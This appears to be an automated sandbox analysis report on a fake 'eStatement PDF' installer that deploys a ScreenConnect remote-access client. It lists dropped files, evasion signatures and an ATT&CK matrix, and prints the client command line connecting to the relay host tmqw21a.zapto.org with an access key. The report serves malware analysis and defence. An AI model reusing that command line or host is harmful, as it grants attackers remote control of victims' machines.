                                Source: C:\Windows\SysWOW64\rundll32.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\ScreenConnect.Windows.dllJump to dropped file
                                Source: C:\Windows\SysWOW64\rundll32.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\ScreenConnect.Core.dllJump to dropped file
                                Source: C:\Windows\SysWOW64\rundll32.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\Microsoft.Deployment.WindowsInstaller.dllJump to dropped file
                                Source: C:\Windows\SysWOW64\rundll32.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\ScreenConnect.InstallerActions.dllJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.dllJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Windows.dllJump to dropped file
                                Source: C:\Windows\SysWOW64\rundll32.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\Microsoft.Deployment.Compression.dllJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Windows\Installer\MSID692.tmpJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsCredentialProvider.dllJump to dropped file
                                Source: C:\Windows\SysWOW64\rundll32.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\Microsoft.Deployment.Compression.Cab.dllJump to dropped file
                                Source: C:\Windows\SysWOW64\rundll32.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dllJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsFileManager.exeJump to dropped file
                                Source: C:\Windows\SysWOW64\msiexec.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSICD79.tmpJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Windows\Installer\MSID887.tmpJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsBackstageShell.exeJump to dropped file
                                Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Client.dllJump to dropped file
                                Source: C:\Windows\System32\svchost.exe TID: 6992Thread sleep time: -30000s >= -30000sJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe TID: 7944Thread sleep time: -922337203685477s >= -30000sJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exe TID: 3996Thread sleep count: 47 > 30Jump to behavior
                                Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0Jump to behavior
                                Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                                Source: C:\Windows\System32\svchost.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeFile Volume queried: C:\Windows\System32 FullSizeInformationJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeThread delayed: delay time: 922337203685477Jump to behavior
                                Source: svchost.exe, 00000006.00000002.2465646397.0000016101C5A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: #disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
                                Source: svchost.exe, 00000006.00000002.2464629001.0000016101C13000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
                                Source: 4ad422.msi.14.drBinary or memory string: VMCi-
                                Source: svchost.exe, 00000000.00000002.2474642524.0000025A48E61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.2467848031.0000025A4382B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                                Source: svchost.exe, 00000006.00000002.2464115783.0000016101C0B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
                                Source: svchost.exe, 00000006.00000002.2465646397.0000016101C40000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000e1}
                                Source: svchost.exe, 00000006.00000002.2467431360.0000016101D02000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
                                Source: svchost.exe, 00000006.00000002.2465277631.0000016101C3A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: #Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
                                Source: ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.0000000005040000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                                Source: C:\Windows\System32\msiexec.exeProcess information queried: ProcessInformationJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BE2DAA mov eax, dword ptr fs:[00000030h]19_2_04BE2DAA
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04B1558A mov ecx, dword ptr fs:[00000030h]19_2_04B1558A
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04B17520 mov eax, dword ptr fs:[00000030h]19_2_04B17520
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BE3FFB mov eax, dword ptr fs:[00000030h]19_2_04BE3FFB
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess token adjusted: DebugJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess token adjusted: DebugJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeMemory allocated: page read and write | page guardJump to behavior

                                HIPS / PFW / Operating System Protection Evasion

                                barindex
                                .NET source code references suspicious native API functions
                                Source: 12.2.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.2f80000.0.raw.unpack, Program.csReference to suspicious API methods: FindResource(moduleHandle, e.Name, "FILES")
                                Source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.f663d8.3.raw.unpack, NativeLibrary.csReference to suspicious API methods: LoadLibrary(type, assemblyTypeHint)
                                Source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.fec3d8.1.raw.unpack, WindowsMemoryNativeLibrary.csReference to suspicious API methods: WindowsNative.VirtualAlloc(attemptImageBase, dwSize, WindowsNative.MEM.MEM_COMMIT | WindowsNative.MEM.MEM_RESERVE, WindowsNative.PAGE.PAGE_READWRITE)
                                Source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.fec3d8.1.raw.unpack, WindowsMemoryNativeLibrary.csReference to suspicious API methods: WindowsNative.GetProcAddress(intPtr, ptr5)
                                Source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.fec3d8.1.raw.unpack, WindowsMemoryNativeLibrary.csReference to suspicious API methods: WindowsNative.VirtualProtect(loadedImageBase + sectionHeaders[i].VirtualAddress, (IntPtr)num, flNewProtect, &pAGE)
                                Source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.fec3d8.1.raw.unpack, WindowsExtensions.csReference to suspicious API methods: HandleMinder.CreateWithFunc(WindowsNative.OpenProcess(processAccess, bInheritHandle: false, processID), WindowsNative.CloseHandle)
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\e6cb77284cf765aa\setup.msi"Jump to behavior
                                Source: unknownProcess created: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exe "c:\program files (x86)\screenconnect client (e6cb77284cf765aa)\screenconnect.clientservice.exe" "?e=access&y=guest&h=tmqw21a.zapto.org&p=8041&s=77dc3982-78be-4a22-8a61-2b1b5e23e9cc&k=bgiaaackaabsu0exaagaaaeaaqcpdljbb2ucjqst7j%2beal4srxbn9fngdmzusse%2fjh%2bnkbeoqfhq%2bcr3lypd1ksb17orwp4zvhy7bt585yzidtesloqjgvuwzeifwaakwkfbshg%2fh8gyvt85w1oivud0hejmjtqedcojxvxpd4ojuqhoqhbbylosnsbfrtp0r040%2bcfkcnslvuf01cnsbcaeyuefrkiz%2b8o0yjwrixe6vdrb5cxn%2bauv36m92%2b6%2fhnc5srzm45hr1fu47wa4rara8onacyafp32je3t2cm7eekmt%2bs6hwkgazmp0vlkbgpw3wnp85fhslyn9uz3eztsbn%2f97cfe2jsav4%2brdgima3na8&i=amazon"
                                Source: ScreenConnect.WindowsClient.exe, 00000014.00000000.1600844087.00000000002A2000.00000002.00000001.01000000.00000013.sdmpBinary or memory string: Progman
                                Source: ScreenConnect.WindowsClient.exe, 00000014.00000000.1600844087.00000000002A2000.00000002.00000001.01000000.00000013.sdmpBinary or memory string: Shell_TrayWnd-Shell_SecondaryTrayWnd%MsgrIMEWindowClass
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BE1014 cpuid 19_2_04BE1014
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C: VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C: VolumeInformationJump to behavior
                                Source: C:\Windows\System32\svchost.exeQueries volume information: C: VolumeInformationJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeQueries volume information: C:\ VolumeInformationJump to behavior
                                Source: C:\Windows\System32\msiexec.exeQueries volume information: C:\ VolumeInformationJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeQueries volume information: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\Microsoft.Deployment.WindowsInstaller.dll VolumeInformationJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeQueries volume information: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\ScreenConnect.InstallerActions.dll VolumeInformationJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeQueries volume information: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\ScreenConnect.Core.dll VolumeInformationJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeQueries volume information: C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\ScreenConnect.Windows.dll VolumeInformationJump to behavior
                                Source: C:\Windows\SysWOW64\rundll32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.dll VolumeInformationJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.dll VolumeInformationJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Core.dll VolumeInformationJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Windows.dll VolumeInformationJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Client.dll VolumeInformationJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe VolumeInformationJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Client.dll VolumeInformationJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Core.dll VolumeInformationJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Windows.dll VolumeInformationJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformationJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.dll VolumeInformationJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_020E4C6C RtlGetVersion,19_2_020E4C6C
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                                Lowering of HIPS / PFW / Operating System Security Settings

                                barindex
                                Changes security center settings (notifications, updates, antivirus, firewall)
                                Source: C:\Windows\System32\svchost.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cvalJump to behavior
                                Modifies security policies related information
                                Source: C:\Windows\System32\msiexec.exeRegistry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa Authentication PackagesJump to behavior
                                Source: svchost.exe, 00000007.00000002.2467804763.0000026F84902000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: gramFiles%\Windows Defender\MsMpeng.exe
                                Source: svchost.exe, 00000007.00000002.2467804763.0000026F84902000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
                                Source: C:\Windows\System32\svchost.exeWMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA &apos;AntiVirusProduct&apos; OR TargetInstance ISA &apos;FirewallProduct&apos; OR TargetInstance ISA &apos;AntiSpywareProduct&apos;
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
                                Source: Yara matchFile source: 20.2.ScreenConnect.WindowsClient.exe.267fa28.3.raw.unpack, type: UNPACKEDPE
                                Source: Yara matchFile source: 12.2.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.5b00000.7.raw.unpack, type: UNPACKEDPE
                                Source: Yara matchFile source: 20.0.ScreenConnect.WindowsClient.exe.2a0000.0.unpack, type: UNPACKEDPE
                                Source: Yara matchFile source: 12.2.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.5b00000.7.unpack, type: UNPACKEDPE
                                Source: Yara matchFile source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.1015db8.5.raw.unpack, type: UNPACKEDPE
                                Source: Yara matchFile source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.f663d8.3.raw.unpack, type: UNPACKEDPE
                                Source: Yara matchFile source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.fec3d8.1.raw.unpack, type: UNPACKEDPE
                                Source: Yara matchFile source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.f50000.0.unpack, type: UNPACKEDPE
                                Source: Yara matchFile source: 00000014.00000000.1600844087.00000000002A2000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
                                Source: Yara matchFile source: 0000000C.00000002.1568855377.0000000005B00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                                Source: Yara matchFile source: 00000014.00000002.2471414964.0000000002601000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                                Source: Yara matchFile source: 0000000C.00000000.1549114318.0000000000F66000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
                                Source: Yara matchFile source: 0000000C.00000002.1561415417.0000000003121000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                                Source: Yara matchFile source: Process Memory Space: Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe PID: 7920, type: MEMORYSTR
                                Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 8132, type: MEMORYSTR
                                Source: Yara matchFile source: Process Memory Space: ScreenConnect.ClientService.exe PID: 3364, type: MEMORYSTR
                                Source: Yara matchFile source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 7304, type: MEMORYSTR
                                Source: Yara matchFile source: C:\Config.Msi\4ad421.rbs, type: DROPPED
                                Source: Yara matchFile source: C:\Windows\Installer\MSID672.tmp, type: DROPPED
                                Source: Yara matchFile source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe, type: DROPPED
                                Source: Yara matchFile source: C:\Users\user\Downloads\Unconfirmed 905245.crdownload, type: DROPPED
                                Source: Yara matchFile source: dropped/chromecache_123, type: DROPPED

                                Mitre Att&ck Matrix

                                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                                Gather Victim Identity InformationAcquire Infrastructure1
                                Valid Accounts                                		1
                                Windows Management Instrumentation                                		1
                                DLL Side-Loading                                		1
                                DLL Side-Loading                                		21
                                Disable or Modify Tools                                		OS Credential Dumping11
                                Peripheral Device Discovery                                		Remote Services11
                                Archive Collected Data                                		3
                                Ingress Tool Transfer                                		Exfiltration Over Other Network MediumAbuse Accessibility Features
                                CredentialsDomains1
                                Replication Through Removable Media                                		1
                                Native API                                		1
                                Component Object Model Hijacking                                		1
                                Component Object Model Hijacking                                		11
                                Deobfuscate/Decode Files or Information                                		LSASS Memory1
                                File and Directory Discovery                                		Remote Desktop ProtocolData from Removable Media11
                                Encrypted Channel                                		Exfiltration Over BluetoothNetwork Denial of Service
                                Email AddressesDNS ServerDomain Accounts12
                                Command and Scripting Interpreter                                		1
                                Valid Accounts                                		1
                                Valid Accounts                                		2
                                Obfuscated Files or Information                                		Security Account Manager34
                                System Information Discovery                                		SMB/Windows Admin SharesData from Network Shared Drive3
                                Non-Application Layer Protocol                                		Automated ExfiltrationData Encrypted for Impact
                                Employee NamesVirtual Private ServerLocal AccountsCron2
                                Windows Service                                		1
                                Access Token Manipulation                                		1
                                Software Packing                                		NTDS41
                                Security Software Discovery                                		Distributed Component Object ModelInput Capture4
                                Application Layer Protocol                                		Traffic DuplicationData Destruction
                                Gather Victim Network InformationServerCloud AccountsLaunchd1
                                Registry Run Keys / Startup Folder                                		2
                                Windows Service                                		1
                                DLL Side-Loading                                		LSA Secrets2
                                Process Discovery                                		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts12
                                Process Injection                                		1
                                File Deletion                                		Cached Domain Credentials61
                                Virtualization/Sandbox Evasion                                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup Items1
                                Registry Run Keys / Startup Folder                                		32
                                Masquerading                                		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                                Valid Accounts                                		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
                                Access Token Manipulation                                		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                                IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron61
                                Virtualization/Sandbox Evasion                                		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
                                Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd12
                                Process Injection                                		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption
                                Gather Victim Org InformationDNS ServerCompromise Software Supply ChainWindows Command ShellScheduled TaskScheduled Task1
                                Hidden Users                                		KeyloggingProcess DiscoveryTaint Shared ContentScreen CaptureDNSExfiltration Over Physical MediumResource Hijacking
                                Determine Physical LocationsVirtual Private ServerCompromise Hardware Supply ChainUnix ShellSystemd TimersSystemd Timers1
                                Rundll32                                		GUI Input CapturePermission Groups DiscoveryReplication Through Removable MediaEmail CollectionProxyExfiltration over USBNetwork Denial of Service

                                Behavior Graph

                                Hide Legend

                                Legend:

                                • Process
                                • Signature
                                • Created File
                                • DNS/IP Info
                                • Is Dropped
                                • Is Windows Process
                                • Number of created Registry Values
                                • Number of created Files
                                • Visual Basic
                                • Delphi
                                • Java
                                • .Net C# or VB.NET
                                • C, C++ or other language
                                • Is malicious
                                • Internet
                                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1563966 URL: https://cloudserver-filesre... Startdate: 27/11/2024 Architecture: WINDOWS Score: 76 72 tmqw21a.zapto.org 2->72 86 .NET source code contains potential unpacker 2->86 88 .NET source code references suspicious native API functions 2->88 90 Contains functionality to hide user accounts 2->90 92 Possible COM Object hijacking 2->92 8 msiexec.exe 94 51 2->8         started        12 ScreenConnect.ClientService.exe 17 2 2->12         started        14 chrome.exe 23 2->14         started        17 7 other processes 2->17 signatures3 process4 dnsIp5 56 ScreenConnect.Wind...dentialProvider.dll, PE32+ 8->56 dropped 58 C:\...\ScreenConnect.ClientService.exe, PE32 8->58 dropped 60 C:\Windows\Installer\MSID887.tmp, PE32 8->60 dropped 68 9 other files (none is malicious) 8->68 dropped 96 Enables network access during safeboot for specific services 8->96 98 Modifies security policies related information 8->98 19 msiexec.exe 8->19         started        21 msiexec.exe 1 8->21         started        23 msiexec.exe 8->23         started        100 Contains functionality to hide user accounts 12->100 102 Reads the Security eventlog 12->102 104 Reads the System eventlog 12->104 25 ScreenConnect.WindowsClient.exe 2 12->25         started        74 192.168.2.16, 138, 443, 49337 unknown unknown 14->74 76 239.255.255.250 